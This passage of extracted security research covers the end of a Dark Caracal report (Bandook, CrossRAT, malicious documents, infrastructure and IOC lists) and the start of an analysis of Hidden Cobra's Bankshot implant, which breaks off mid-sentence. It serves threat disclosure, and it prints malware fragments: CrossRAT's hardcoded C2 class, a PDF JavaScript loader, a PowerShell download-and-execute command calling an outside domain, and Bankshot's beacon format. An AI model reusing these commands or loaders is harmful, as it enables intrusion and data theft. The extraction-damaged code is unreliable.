malicious functionality resides in the second stage, which attempts to implant itself in the system and contact command +and control infrastructure for further instructions. At this point, the malware has the ability to start new processes, manipulate the +file system and registry, take screen captures, escalate privileges, create mutexes, get system information, execute commands, +get window names, and beacon to infrastructure. +https://attack.mitre.org/wiki/Technique/T1093 +SECURITY RESEARCH REPORT +Bandook communication with attacker infrastructure takes place over a TCP port with HTTP payloads Base64 encoded and +suffixed with the string +. The following is an example of a decoded communication from an infected system: +@0000~!18128~!192.168.1.82~!610930~!EFFuser~!Seven~!0d 0h +3m~!0~!4.1~!21/04/2017~!0~!0~!0~!0~!~!0~!0--~!None~!0~! +Instructions sent from Dark Caracal infrastructure to Bandook compromised systems make use of + as a delimiter, the +same approach used by the Pallas Android malware. This suggests there is a possibility Bandook and Pallas were written by +the same author or that the author of one was inspired by the authors of the other. We found Bandook supports the following +set of commands. +CaptureScreen +DeleteFileFromDevice +DeleteAutoFTPFromDB +Init +CopyMTP +ExecuteTV +ClearCred +ChromeInject +ExecuteAMMY +GetCamlist +DisableChrome +DDOSON +SendCam +RarFolder +ExecuteTVNew +StopCam +SendUSBList +getkey +Uninstall +SignoutSkype +SendMTPList +CompressArchive +StealUSB +SendMTPList2 +GenerateReports +StartFileMonitor +GrabFileFromDevice +GetWifi +SendFileMonLog +PutFileOnDevice +StartShell +GetUSBMONLIST +StopFileMonitor +GetSound +GetFileMONLIST +SendinfoList +SplitMyFile +StopUSBMonitor +EnableAndLoadCapList +GetAutoFTP +SearchMain +DisableMouseCapture +SendStartup +StopSearch +AddAutoFTPToDB +From this, we can infer some additional functionality, including the ability to view the victim +s webcam, record sound, get Wi-Fi +connections, manipulate USB devices, manipulate the Chrome browser, sign the victim out of Skype, search for files, upload new +files to the device, execute secondary infections, or participate in a DDOS attack. +Systems infected with this Bandook variant contain a copy of the first stage in the path C:\Users\user\AppData\ +Roaming\%appname%\%appname%.exe. Similarly, in such cases, autostart registry keys are written with the same name as the +dropped file to HKEY_USERS\Software\Microsoft\Windows\CurrentVersion\Run. +SECURITY RESEARCH REPORT +CrossRAT +While investigating the axroot[.]com domain, we discovered a new remote access trojan called CrossRAT that we believe was +developed by, or for, Dark Caracal. Written in Java with the ability to target Windows, Linux, and OSX, CrossRAT is able to +manipulate the file system, take screenshots, run arbitrary DLLs for secondary infection on Windows, and gain persistence on +the infected system. +When executed in a Windows environment, CrossRAT attempts to copy itself to %AppData%\Local\ Temp\mediamgrs.jar before, +like Bandook, creating an auto-start registry key in HKEY_USERS\Software\Microsoft\Windows\CurrentVersion\Run with the +name +mediamgrs +On OSX and Linux, it attempts to write a copy of itself to /usr/var/mediamgrs.jar. If CrossRAT does not have sufficient permissions +to write to this directory, it will fail back to the following path under the user +s home directory: $HOME/Library/mediamgrs.jar. +For CrossRAT installations on OSX, a Launch Agent is created under $HOME/Library/ LaunchAgents/mediamgrs.plist to ensure +that it will be launched again when the computer restarts. When on Linux, this persistence is achieved by writing an autorun file +to $HOME/.config/autostart/mediamgrs.desktop. +CrossRAT performs communications to its C2 infrastructure via a TCP socket. The following is an example of content sent over +the wire from a compromised machine: +5287249f-caa2-4b66-850c-49eedd46cf47$#@@0000$#@192.168.1.16$#@Windows +7$#@6.1$#@EFFuser^585948$#@0.1$#@GROUP2$#@&&& +CrossRAT uses a similar structure to Pallas and Bandook when communicating with infrastructure. Specifically, it uses &&& to +terminate the response string and uses @### to start command strings. +Below is a code snippet from a CrossRAT sample. The response prefixes, hard coded C2 server of flexberry[.]com, and fixed +port of 2223, are clearly visible. +public final class k +public static boolean a = false; +// Hardcoded C2 Information +public static String b = +flexberry.com +; // C2 Server +public static int c = 2223; // C2 Port +SECURITY RESEARCH REPORT +(continued from page 34) +public static String d = +; // Argument delimiter +public static String e = +; // delimiter within arguments +public static UUID f; +public static String g; +public static Preferences h; +public static String i = +; // Version Number +public static String j = +GROUP2 +; // Campaign name +public static Socket k; +public static Socket l; +// Server command prefixes +public static String m = +@0000 +; // Enumerate root directories on the system. 0 args +public static String n = +@0001 +; // Enumerate files on the system. 1 arg +public static String o = +@0002 +; // Create blank file on system. 1 arg +public static String p = +@0003 +; // Copy File. 2 args +public static String q = +@0004 +; // Move file. 2 args +public static String r = +@0005 +; // Write file contents. 4 args +public static String s = +@0006 +; // Read file contents. 4 args +public static String t = +@0007 +; // Heartbeat request. 0 args +public static String u = +@0008 +; // Get screenshot. 0 args +public static String v = +@0009 +; // Run a DLL (windows only). 1 arg +// Client response prefixes +public static String w = +@0000 +; // client hello +public static String x = +@0001 +; // heartbeat response +public static String y = +@0002 +; // List of system root directories +public static String z = +@0003 +; // Status message for file manager connect, unimplemented +public static String A = +@0004 +; // Status message for file manager connect, unimplemented +public static String B = +@0005 +; // List of files on system +public static String C = +@0006 +; // End list of files on system +public static String D = +@0007 +; // file created status message +public static String E = +@0008 +; // file written status message +public static String F = +@0009 +; // file moved status message +public static String G = +@0010 +; // file write status +public static String H = +@0011 +; // file read status and file contents +public static String I = +@0012 +; // send screenshot contents +public static String J = +@0013 +; // Run DLL status message +public static String K; // Filepath for CrossRAT +Analysis of CrossRAT shows that it has a version number of 0.1, which indicates that its malicious capabilities are still under +development. Implemented functionality includes the ability to enumerate attacker-specified directories, copy / move / read +files, beacon to C2 infrastructure, run attacker specific libraries (Windows only), and create empty files. The CrossRAT sample +we discovered was last modified in March of 2017. +SECURITY RESEARCH REPORT +Infected Documents +We identified several Word documents which appear to be intended for use as infection vectors in phishing attacks. +None of the documents appear to contain any exploits, but rather rely on macros to run malicious code on a target +system. If executed in an environment that has macros enabled, the malware downloads its second stage components. +We saw this same process in numerous malicious PDF files that used javascript to download secondary stages. The +following script is an example of this functionality, which is identical to the malicious Word doc with the SHA256 hash +e5eeb0a46dac58b171ebcefec60e9ff351fc7279d95892c6f48f799a1a364215 (Word macro fixed.doc). +var v = app.viewerVers, ion; +if (v < 7) { +var n = 0; +if (this.dataObjects != null) n = this.dataObjects.length; +if (v >= 5 && v < 6 && n > 0 && (app.viewerVariation == +Full + || app.viewerVariation == +Fill-In +)) { +if (this.external\) app.alert( +This document has file attachments. To view the +attachments, click the Save button to save a copy of the document, open the copy in Acrobat, +and use the File > Document Properties > Embedded Data Objects menu. +, 3, 0); +else app.\alert( +This document has file attachments. Use the File > Document Properties +> Embedded Data Objects menu to view the attachments. +, 3, 0); +} else if (v >= 6 && v < 7) { +if (n == 0) { +var np = this.numPages; +syncAnnotScan();\ +for (var p = 0; p < np && n == 0; ++p) { +var annots = this.getAnnots(p); +if (annots != null) { +for (var i = 0; i < annots.length; ++i) { +if (annots[i].type == +FileAttachment +n = 1;\ +break; +if (n > 0) { +if (this.external) app.alert( +This document has file attachments. To view the +attachments, click the black triangle at the top of the document window +s vertical scrollbar +and \ +choose File Attachments. +, 3, 0); +else app.alert( +This document has file attachments. Use the Document > File +Attachments menu to view the attachments. +, 3, 0); +--this.exportDataObject({ cName: +BL920123.doc +, nLaunch: 2 }); +SECURITY RESEARCH REPORT +Figure 26: An observed malicious Word file that, when executed, attempts to run macros in order to download +and execute Bandook stage one +Other Samples +Surprisingly, we also observed a malicious Microsoft Compiled HTML Help file with the .chm extension. Primarily used for +software documentation, .chm files were first introduced with the release of Window 98. However, they are still supported in +Windows 7. The chm file attempts to execute a command via Powershell that downloads an additional file called ne.abc from +the server cma-cgrm[.]com. Below is the command contained in the malicious .chm file. +cmd.exe,/c powershell.exe -ExecutionPolicy bypass -noprofile +-WindowStyle Hidden (New-Object +System.Net.WebClient).DownloadFile( +https://cmacgrm[.]com/ebusiness/ne.abc +%TEMP%\chmplg.exe +);Start-Process +%TEMP%\chmplg.exe; +At the time of analysis, this server was no longer live and, as such, the associated ne.abc binary has not yet been acquired and +does not appear on VirusTotal. The cma-cgrm[.]com domain is not obviously connected with other infrastructure. +SECURITY RESEARCH REPORT +Infrastructure +While analyzing adobeair[.]net, we uncovered sprawling infrastructure used by Dark Caracal. This infrastructure serves a broad +set of purposes, including acting as storage for exfiltrated data, masquerading as an Android App Store hosting malware, +delivering attacker commands to infected devices, and providing phishing content aimed at gathering credentials for various +well known services. +We found much of this infrastructure hosted on servers provided by Shinjiru, an offshore bulletproof hosting provider that allows +its customers to host almost any content. WHOIS information listed for the adobeair[.]net C2 server led to the discovery of many +of these domains, as did scanning of Shinjiru IP blocks for servers running a set of services. This acted as a fingerprint for Dark +Caracal +s infrastructure. To date, the following domains and IPs have been identified as connected to the infrastructure used +by Dark Caracal. +Domain +Links / Connection to Dark Caracal +adobeair[.]net +Shared C2 server / Exfiltrated data server +secureandroid[.]info +Blackmarket +Android App Store +tweetsfb[.]com +Watering hole, Facebook groups, used to phish credentials, running Apache Win32 +fbarticles[.]com +Phishing domain linked by WHOIS (op13) +Arablivenews[.]com [EXPIRED] +WHOIS (op13) +Nancyrazzouk[.]com [EXPIRED] +WHOIS (nancyrazzouk) +Arabpublisherslb[.]com +WHOIS (nancyrazzouk) +flexberry[.]com +94[.]229[.]70[.]7 (Windows) +planethdx[.]com +94[.]229[.]70[.]7 (Windows) +globalmic[.]net +94[.]229[.]70[.]7 (Windows) +megadeb[.]com +94[.]229[.]70[.]7 (Windows) +opwalls[.]com +94[.]229[.]70[.]7 (Windows) +mecodata[.]com +94[.]229[.]70[.]7 (Windows) +sabisint[.]com +94[.]229[.]70[.]7 (Windows) +roxsoft[.]net +94[.]229[.]70[.]7 (Windows) +axroot[.]com +Windows malware campaign +skypeupdate[.]com +Windows malware campaign +playermea[.]com +Windows malware campaign +kaliex[.]net +Windows malware campaign +tenoclock[.]net +Windows malware campaign +ancmax[.]com +Windows malware campaign +SECURITY RESEARCH REPORT +The following relevant contact information has also been identified during this investigation. +Email +Link/Context +op13@mail[.]com +Primary email contact for C2 server. Associated with +rami jabbour +Hadi Maz +nancyrazzouk@mail[.]com +nancyrazzouk +hicham.dika@mail[.]com +SSL cert in exe +hetemramadani5@gmail.com +SSL cert in exe +alecouperus@mail.com +SSL cert in exe +Primary Command and Control Server +As noted, adobeair[.]net is hosted on Shinjiru. This bulletproof hosting company allows its customers to host almost any type of +content, protects client identity, accepts Bitcoin for payment, and is more resilient than other providers to takedowns22. Shinjiru +has also been used to host many of the Dark Caracal Windows domains dating back over seven years to April 27th, 2010 +(see a list of Windows malware domains in the Windows infrastructure section below). +At the time of writing, adobeair[.]net is currently live and running a fairly unique set of services. We have used this server as a +fingerprint in the discovery of further related infrastructure. These services include XAMPP for Windows 5.6.31, Apache 2.4.26, +MariaDB 10.1.25, PHP 5.6.31, phpMyAdmin 4.7.0, and OpenSSL 1.0.2. We confirmed these via an nmap scan of the adobeair server.23 +Figure 27: Nmap scan of adobeair[.]net +https://www.shinjiru.com/company/about-us/ +https://www.apachefriends.org/download.html +SECURITY RESEARCH REPORT +The adobeair[.]net C2 server had the Apache mod_status module enabled. This provides operators with information on server +activity, performance, and a statistics page under /server-status that details connected clients and the server resources they are +accessing. By programmatically monitoring this page, we were able to determine the source IPs of infected clients and admins +logging into the console. +The adobeair[.]net server has, as of late September 2017, been moved to a new hosting provider, M247, and the operators have +improved the security. +WHOIS history for adobeair[.]net lists Nancy Razzouk with an email address of op13@mail[.]com as the registrant. We have identified +the +Nancy Razzouk + persona as the SSL signer of the Windows malware samples and the registrant of multiple domains. Its reuse +has helped identify further Dark Caracal infrastructure. +Figure 28: WHOIS information for adodeair[.]net as observed in August 2017 +SECURITY RESEARCH REPORT +Watering Hole Server +During this investigation, we determined this server is the only infrastructure we discovered that serves up malicious apps +belonging to the Pallas malware family. A detailed analysis of these applications can be found under the Android Surveillanceware +section. As with other Dark Caracal infrastructure, the secureandroid[.]info domain was also registered with the bulletproof hosting +company Shinjiru. +Figure 29: Screenshot of the secureandroid[.]info watering hole server, a +distribution point for Pallas +We found links to these landing pages in the exfiltrated content of compromised devices, which indicates it is actively being used +during the attack chain. As of December 2017 it appears that secureandroid[.]info has had its domain expire. +Phishing Domains +We identified the Dark Caracal domain tweetsfb[.]com while analyzing the secureandroid[.]info server source code. We identified +two bit[.]ly URLs on this server that resolve to other pages on the tweetsfb site that were carefully crafted to look like the Facebook +and Twitter login portals. The copyright dates suggest these pages are clones of the originals from 2015. +Figure 30: Dark Caracal clones of Twitter and Facebook login portals +SECURITY RESEARCH REPORT +These bit[.]ly links and their respective resolving links are: +http://bit[.]ly/2j3r285 points to +http://bit[.]ly/2iByHcu points to +http://www.tweetsfb[.]com/services/100001472583690/twitter/articles/100001/ +http://tweetsfb[.]com/services/100001472583690/facebook/groups/100002/ +The tweetsfb[.]com domain was found to share an IP address (172.94.17.147) with the following additional domains. +Figure 31: Domains sharing the same IP address as tweetsfb[.]com +We were able to find additional phishing campaigns in VirusTotal that referenced fbarticles[.]com. While fbarticles was registered +by the op13@mail[.]com address with the name +Hadi Mazeh, + the WHOIS information for fbtweets was private. +Figure 32: Detections in VirusTotal for fbarticles[.]com +SECURITY RESEARCH REPORT +Figure 33: Detections in VirusTotal for the IP address that hosted fbarticles[.]com +Note: we identified three further domains +facebookservices[.]org +gmailservices[.]org +, and +twiterservices[.]org + that were +once a part of this campaign. Those domains now appear to be sinkholed. +When we discovered these domains, the threat actors had already taken them offline and another individual had purchased +them. This individual is associated with unrelated domains that are connected to other APT reports. However, we noticed that +the individual purchased the domains after the APT reports went public. While we +re not sure why this individual is purchasing, +sinkholing, and monitoring these domains, we think it +s an interesting note. +SECURITY RESEARCH REPORT +Windows C2 Servers +The Windows server infrastructure has a much longer history than the Android infrastructure, showing that the actors are willing +to evolve to new technologies, such as mobile, as they become more valuable targets. +The Windows malware servers hosted control panels for multiple campaigns using various malware that included IRIS +RAT, Bandook, and Arcom RAT. We found these servers hosting exfiltrated desktop content, Windows malware signed by +alecouperus@mail[.]com +, and the CrossRAT trojan. +All of these domains share the same IP on more than one occasion and have migrated between hosting providers in the same +time window. Most of these domains were hosted on Shinjiru, the same hosting server for the Android campaign. +ancmax[.]com +sabisint[.]com +planethdx[.]com +megadeb[.]com +mecodata[.]com +roxsoft[.]net +globalmic[.]net +flexberry[.]com +kaliex[.]net +opwalls[.]com +axroot[.]com +The following screenshot shows HTTP 200 OK response codes for http://// +Each of the following directories contained a login panel for either IRIS RAT or Arcom RAT. +Figure 34: Various RAT login portals found on a mix of the C2 servers +SECURITY RESEARCH REPORT +Using the Wayback Machine we identified the signature Win32 apache server running on skypeupdate[.]com in 2016. This server +was first seen resolving to an IP belonging to Shinjiru in late 2013 and last seen resolving to a Shinjiru IP in late 2016. +The oldest domain we identified as part of this infrastructure is flexberry[.]com. The following screenshot shows passive DNS +resolution dating back to 2010. +Figure 35: Passive DNS resolutions for the infrastructure +SECURITY RESEARCH REPORT +Appendix +Indicators of Compromise and Actor Tracking +Phone Number ++7820435193 +Email ++7820944266 +op13@mail[.]com ++7820944266 +hicham.dika@mail[.]com +Domain +nancyrazzouk@mail[.]com +adobeair[.]net +alecouperus@mail[.]com +tweetsfb[.]com +hetemramadani5@gmail.com +secureandroid[.]info +info@secureandroid[.]info +fbtweets[.]net +gsec[.]in +111.90.141[.]70 +arabpublisherslb[.]com +111.90.145[.]64 +sabisint[.]com +111.90.141[.]38 +fbarticles[.]com +111.90.158.121 +planethdx[.]com +111.90.141.169 +opwalls[.]com +111.90.145.64 +kaliex[.]net +111.90.150.221 +axroot[.]com +180.235.133.57 +megadeb[.]com +172.111.250.156 +mecodata[.]com +77.78.103.41 +roxsoft[.]net +74.208.167[.]252 +flexberry[.]com +111.90.140[.]11 +globalmic[.]net +111.90.150[.]221 +playermea[.]com +SECURITY RESEARCH REPORT +(continued from page 46) +arablivenews[.]com +accountslogin[.]services +ecowatchasia[.]com +adobeinstall[.]com +etn9[.]com +adobe-flashviewer.accountslogin[.]services +ancmax[.]com +dropboxonline[.]com +tenoclock[.]net +iceteapeach[.]com +kaliex[.]net +nvidiaupdate[.]com +mangoco[.]net +skypeupdate[.]com +jaysonj.no-ip[.]biz +paktest.ddns[.]net +orange2015[.]net +watermelon2017[.]com +skypeservice.no-ip[.]org +Mobile Implant Apps +Type +PackageName +b0151434815f8b3796ab83848bf6969a2b2ad721 +SHA1 +com.primo.mobile.android.app +bfbe5218a1b4f8c55eadf2583a2655a49bf6a884 +SHA1 +org.thoughtcrime.securesms +47243997992d253f7c4ea20f846191697999cd57 +SHA1 +com.psiphon3 +ed4754effda466b8babf87bcba2717760f112455 +SHA1 +com.gbwhatsapp +309038fceb9a5eb6af83bd9c3ed28bf4487dc27d +SHA1 +org.telegram.plus +eaed6ce848e68d5ec42837640eb21d3bfd9ae692 +SHA1 +org.torproject.android +edf037efc400ccb9f843500103a208fe1f254453 +SHA1 +org.telegram.plus +35b70d89af691ac244a547842b7c8dfd9a7233fe +SHA1 +ch.threema.app +7d47da505f8d3ee153629b373f6792c8858f76e8 +SHA1 +com.flashplayer.player +4896b0c957b6a985b2b6efe2ffe517dceaa6ce01 +SHA1 +com.flashplayer.player +6a2d5c0a4cc5b5053f5c8f15c447316fae66b57b +SHA1 +com.flashplayer.player +SECURITY RESEARCH REPORT +Desktop Implant Apps +SHA2 Sum +File Type +ce583821191345274cd954b2db7da9742c239fe413fc17dcb97ffdd7b51cb072 +MS Windows HtmlHelp Data +ba4e063472a2559b4baa82d5272304a1cdae6968145c5ef221295c90e88458e2 +PE32 executable (DLL) (GUI) Intel 80386 +26419a0b6e033cdcb7bf4ca6b0b24fda35490cc6f2796682fb9403620f63d428 +PE32 executable (GUI) Intel 80386 +15af5bbf3c8d5e5db41fd7c3d722e8b247b40f2da747d5c334f7fd80b715a649 +Zip archive data +22eee43887e94997f9f9786092ffd3a9b51f059924cba678cf7b62cfafa65b28 +PE32 executable (GUI) Intel 80386 +fcf8f9566868d65d901fd6db9a8d6decacb860f5595f84a6a878193eda11549d +PDF document, version 1.6 +f2178146741f91923c7d3e2442bd08605ed5a0927736e8cfdea00c055b2c6284 +PDF document, version 1.6 +6b6d363d653785f420dcc1a23c9d9b8b76b8647209b52562b774c793dc0e3f6b +data +a3ae05a134b30b8c8869d0acd65ed5bca160988b404c146a325f2399b9c1a243 +PE32 executable (DLL) (GUI) Intel 80386 +e5eeb0a46dac58b171ebcefec60e9ff351fc7279d95892c6f48f799a1a364215 +Composite Document File V2 Document +400bca713ba1def9cdbc0e84fc97447db2fa3d12b1c5ef352ef985b7787b6ca4 +Microsoft Word 2007+ +5e0d061531071e53b3b993e06ce20dae6389a7e9eba5d7887399de48e2f2d278 +Composite Document File V2 +f9f2e632535b214a0fab376b32cbee1cab6507490c22ba9e12cfa417ed8d72bb +MS-DOS executable +bf600e7b27bdd9e396e5c396aba7f079c244bfb92ee45c721c2294aa36586206 +PE32 executable (GUI) +da81aec00b563123d2fbd14fb6a76619c90f81e83c5bd8aa0676922cae96b9ad +PE32 executable (GUI) Intel 80386 +9cf3d3c0b790cebeacb8cb577cd346a6513b1b74fa120aff8984aa022301562e +PE32 executable (DLL) (GUI) Intel 80386 +091ae8d5649c4e040d25550f2cdf7f1ddfc9c698e672318eb1ab6303aa1cf85b +PE32 executable (GUI) Intel 80386 +a91c2cad20935a85d6eed72ef663254396914811f043018732d29276424a9578 +PE32 executable (GUI) Intel 80386 +b6ac374f79860ae99736aaa190cce5922a969ab060d7ae367dbfa094bfe4777d +PE32 executable (GUI) Intel 80386 +ed97719c008422925ae21ff34448a8c35ee270a428b0478e24669396761d0790 +PE32 executable (GUI) Intel 80386 +5c1622cabf21672a8a5379ce8d0ee0ba6d5bc137657f3779faa694fcc4bb3988 +PE32 executable (GUI) Intel 80386 +86f1bbda3ebf03a0f0a79d7bd1db68598ace9465f5cebb7f66773f8a818b4e8b +PE32 executable (DLL) (GUI) Intel 80386 +675c3d96070dc9a0e437f3e1b653b90dbc6700b0ec57379d4139e65f7d2799cd +PE32 executable (DLL) (GUI) Intel 80386 +ed25b0c20b1c1b271a511a1266fe3967ab851aaa9f793bdf4f3d19de1dcf6532 +PE32 executable (GUI) Intel 80386 +f581a75a0f8f8eb200a283437bed48f30ae9d5616e94f64acfd93c12fcef987a +PE32 executable (GUI) Intel 80386 +d57701321f2f13585a02fc8ba6cbf1f2f094764bfa067eb73c0101060289b0ba +PE32 executable (GUI) Intel 80386 +SECURITY RESEARCH REPORT +About Lookout +Lookout is a cybersecurity company for a world run by apps. +Powered by the largest dataset of mobile code in existence, +Lookout is the security platform of record for mobile device +integrity and data access. Lookout is trusted by hundreds +of millions of individuals, hundreds of enterprises and +government agencies, and such ecosystem partners as AT&T, +Deutsche Telekom, and Microsoft. Headquartered in San +Francisco, Lookout has offices in Amsterdam, Boston, London, +Sydney, Tokyo, Toronto and Washington, D.C. +Lookout Website +www.lookout.com +Blog +blog.lookout.com +Email +threatintel@lookout.com +Twitter +@lookout +About EFF +The Electronic Frontier Foundation is the leading nonprofit +organization defending civil liberties in the digital world. +Founded in 1990, EFF champions user privacy, free expression, +and innovation through impact litigation, policy analysis, +grassroots activism, and technology development. We work to +ensure that rights and freedoms are enhanced and protected as +our use of technology grows. +EFF Website +www.eff.org +Blog +www.eff.org/deeplinks +Email +press@eff.org +Twitter +@eff +Contributors +Andrew Blaich, Lookout +Apurva Kumar, Lookout +Jeremy Richards, Lookout +Michael Flossman, Lookout +Cooper Quintin, EFF +Eva Galperin, EFF +Special thanks to the many others in our organization, and to our +partners, who contributed significantly to this work. +1-888-988-5795 | lookout.com + 2018 Lookout, Inc. LOOKOUT +, the Lookout Shield Design +, LOOKOUT with Shield Design +, SCREAM +, and SIGNAL FLARE + are registered trademarks of Lookout, Inc. +in the United States and other countries. EVERYTHING IS OK +, LOOKOUT MOBILE SECURITY +, and PROTECTED BY LOOKOUT +, are registered trademarks of Lookout, +Inc. in the United States. POWERED BY LOOKOUT + is a trademark of Lookout, Inc. All other brand and product names are trademarks or registered trademarks of their +respective holders. 20180118-Lookout-USv1.0 +Hidden Cobra Targets Turkish Financial Sector With New +Bankshot Implant +securingtomorrow.mcafee.com/mcafee-labs/hidden-cobra-targets-turkish-financial-sector-new-bankshotimplant/ +March 8, +2018 +By Ryan Sherstobitoff on Mar 08, 2018 +This post was prepared with contributions from Asheer Malhotra, Charles Crawford, and Jessica +Saavedra-Morales. +On February 28, the McAfee Advanced Threat Research team discovered that the +cybercrime group Hidden Cobra continues to target cryptocurrency and financial +organizations. In this analysis, we observed the return of Hidden Cobra +s Bankshot malware +implant surfacing in the Turkish financial system. Based on the code similarity, the victim +business sector, and the presence of control server strings, this attack resembles previous +attacks by Hidden Cobra conducted against the global financial network SWIFT. +In this new, aggressive campaign we see a return of the Bankshot implant, which last +appeared in 2017. Bankshot is designed to persist on a victim +s network for further +exploitation; thus the Advanced Threat Research team believes this operation is intended to +gain access to specific financial organizations. +Based on our analysis, financial organizations in Turkey were targeted via spear phishing +emails containing a malicious Microsoft Word document. The document contains an +embedded Adobe Flash exploit, which was recently announced by the Korean Internet +Security agency. The exploit, which takes advantage of CVE-2018-4878, allows an attacker to +execute arbitrary code such as an implant. +the Further investigation into this campaign and analysis of McAfee product telemetry +shows that the infection occurred on March 2 and 3. The implant +s first target was a major +government-controlled financial organization. It next appeared in another Turkish +government organization involved in finance and trade. A further three large financial +institutions in Turkey were victims of this attack. The implant has so far not surfaced in any +other sector or country. This campaign suggests the attackers may plan a future heist +against these targets by using Bankshot to gather information. +Bankshot implants are distributed from a domain with a name similar to that of the +cryptocurrency-lending platform Falcon Coin, but the similarly named domain is not +associated with the legitimate entity. The malicious domain falcancoin.io was created +December 27, 2017, and was updated on February 19, only a few days before the implants +began to appear. These implants are variations of earlier forms of Bankshot, a remote +1/17 +access tool that gives an attacker full capability on a victim +s system. This implant also +contains functionality to wipe files and content from the targeted system to erase evidence +or perform other destructive actions. Bankshot was first reported by the Department of +Homeland Security on December 13, 2017, and has only recently resurfaced in newly +compiled variants. The sample we analyzed is 99% similar to the documented Bankshot +variants from 2017. +Bankshot implants hosted on falcancoin.io. +The Bankshot implant is attached to a malicious Word document with the filename +Agreement.docx. The document appears to be an agreement template for Bitcoin +distribution between an unknown individual in Paris and a to-be-determined cryptocurrency +exchange. The author of this document is test-pc. It was created February 26 and was +submitted from the Netherlands. The document contains an embedded Flash script that +exploits CVE-2018-4878 and downloads and executes the DLL implant from falcancoin.io. +We discovered two more documents, written in Korean, that exploit the same vulnerability +as Agreement.docx. These documents appear to be part of the same campaign and may +have been used on different targets. These documents also communicated with +falcancoin.io to install Bankshot and also contain themes around cryptocurrency security. +Two Flash files exploit CVE-2018-4878. +843c17b06a3aee22447f021307909890b68828b9 (February 25) +343ebca579bb888eb8ccb811f9b52280c72e484c (February 25 +2/17 +Malicious documents in the attack. +Malicious document exploiting CVE-2018-4878. +3/17 +The implants are downloaded via a Flash file embedded in the malicious document. They +are executed when the victim views the document. +The malicious site falcancoin.io embedded in the Flash file. +Implant directory contained in the malicious Flash file. +The implants (DLLs) are disguised as ZIP files and communicate with three control servers, +two of them Chinese-language online gambling sites. These URLs can be found hardcoded +in the implants + code. +4/17 +Hardcoded control server URLs. +Analyzing Bankshot +The sample (a2e966edee45b30bb6bb5c978e55833eec169098) is a Windows DLL that serves +as a backdoor and contains a variety of capabilities. The malicious DLL is not a service DLL +because it lacks ServiceMain(). To mask itself, it can run as a regular library loaded into a +legitimate process. +The malware begins by creating a new thread from the DllMain() function to carry out its +malicious activities: +5/17 +New thread created in the malware +s DllMain() function. +The malware performs the following activities: +Builds imports by dynamically loading APIs +Decrypts strings needed for control server communications +Performs control server communications +Handles commands issued by the control server +Uninstalls self from the system +The malicious thread dynamically loads the APIs it needs at the beginning of its execution +using LoadLibrary() and GetProcAddress(). APIs from the following libraries are loaded at +runtime: +Kernel32.dll +Ws2_32/wsock32.dll +Apvapi32.dll +Oleaut32.dll +Iphlp.dll +Urlmon.dll +A dynamic API loaded by the malware. +Based on packet capture analysis of previous implants from 2017, the following strings are +used in control server communications: +Connection: keep-alive +Cache-Control: max-age=0 +Accept: */* +Content-Type: multipart/form-data; boundary= +Content-Type: application/octet-stream +Accept-Encoding: gzip,deflate,sdch +Accept-Language: ko-KR -> Korean +Content-Disposition: form-data;name= +board_id +6/17 +Content-Disposition: form-data;name= +user_id +Content-Disposition: form-data;name= +file1 +; filename= +img01_29.jpg +Content-Disposition: form-data;name= +file1 +; filename= +my.doc +Content-Disposition: form-data;name= +file1 +; filename= +pratice.pdf +Content-Disposition: form-data;name= +file1 +; filename= +king.jpg +Content-Disposition: form-data;name= +file1 +; filename= +dream.avi +Content-Disposition: form-data;name= +file1 +; filename= +hp01.avi +Content-Disposition: form-data;name= +file1 +; filename= +star.avi +User Agents +The implant either fetches the user agent from Internet Explorer (using +ObtainUserAgentAsString()) or uses a default user agent specified in the malware binary: +Mozilla/5.0 (Windows NT 6.1; WOW64) Chrome/28.0.1500.95 Safari/537.36 +Control Server Communications +The malware initiates communication with the control server by sending it an HTTP POST +request with additional optional HTTP data, such as: +------FormBoundary +Content-Disposition: form-data; name="board_id" +8306 +------FormBoundary +Content-Disposition: form-data; name="user_id" +*dJU!*JE&!M@UNQ@ +------FormBoundary +Content-Disposition: form-data; name="file1"; filename="king.jpg" +Content-Type: application/octet-stream +board_id is a four-digit number that may be an identifier for a campaign ID. Based on +analysis of previous samples, this is a unique identifier. +user_id is a hardcoded value in the malware binary that is sent to the control server. +The username appears to be attacker specified and has occurred in 2017 Bankshot +samples. This links the previous samples with this unique username. +filename is based on static analysis. This looks like a specific beacon to indicate that +the malware is ready to receive commands. +The optional HTTP data with king.jpg looks like a beacon to inform the control server that +the malware is ready to accept new commands: +Commands received from the control server are encoded DWORDs +7/17 +After decoding, these DWORDs should be in the range 123459h to 123490h +Malware checking to make sure a received command is in the correct range. +The command index calculator and jump to the appropriate command. +8/17 +The command index table and command handler address table. +Implant Capabilities +Based on the responses received from the control server, the malware can carry out the +following malicious tasks: +Recursively generate a list of files in a directory and send to the control server +Terminate a specific process. The process is identified by the control server sending +the PID to the malware. +9/17 +The capability to terminate a process. +Gather network addresses and operating system version +Execute arbitrary commands using +cmd.exe /c +The capability to execute system commands. +10/17 +Spawning arbitrary processes. +Create processes +Write responses from the control server to a file +Send information for all drives +Write data sent by the control server to a temporary file matching the file path pattern +%temp%\DWS00* +Change the time of a file as specified by the control server +The malware changing the file time. +Create a process by impersonating a logged-on user +11/17 +Getting a user token using WTSQueryUserToken. +A process created as logged-in user. +Gather the process time for all processes +Getting time information for all processes running on the system. +Gather domain and account names based on all running processes +12/17 +Gathering account information from running processes. +Read a specified file +s contents and send the data to the control server +Write data sent by the control server to an existing file +Mark a file to be deleted on reboot +Marking a file for deletion on reboot. +Overwrite a file with all zeros and mark it for deletion on reboot +13/17 +Wiping files with zeros and marking it for deletion on reboot. +Delete files using the DeleteFile() API +Load an arbitrary library into its process space. This may be used to load additional +downloaded components of the attack. +14/17 +Loading an arbitrary library into its own process space. +After every action is performed the malware sends a response to the control server +indicating whether the action was successful. +Connections +The US government reports that Bankshot is used by Hidden Cobra to target multiple +industries including financial organizations. This implant has been connected to a major +Korean bank attack and is also known as Trojan Manuscript. That variant contained the +capability to search for hosts related to the SWIFT network and the same control server +strings as the variant we found targeting the Turkish financial sector. The implant does not +conduct financial transactions; rather it is a channel into the victim +s environment, in which +further stages of implants can be deployed for financial reconnaissance. The Bankshot +implant was also observed in 2017 in documents appearing to come from Latin American +banks. +Malicious document delivering the Bankshot implant in 2017. +These connections, combined with the implant +s nearly identical appearance to known +variants, are a strong indication that we have uncovered a Hidden Cobra attack. Further, +previous implants from 2017 contained bogus documents with financially themed content. +A code comparison of hash 12c786c490366727cf7279fc141921d8 with hash +6de6a0df263ecd2d71a92597b2362f2c (from November 28, 2017). +Conclusion +15/17 +We have found what may be an early data-gathering stage for future possible heists from +financial organizations in Turkey (and possibly other countries). In this campaign, we see the +adoption of a recent zero-day 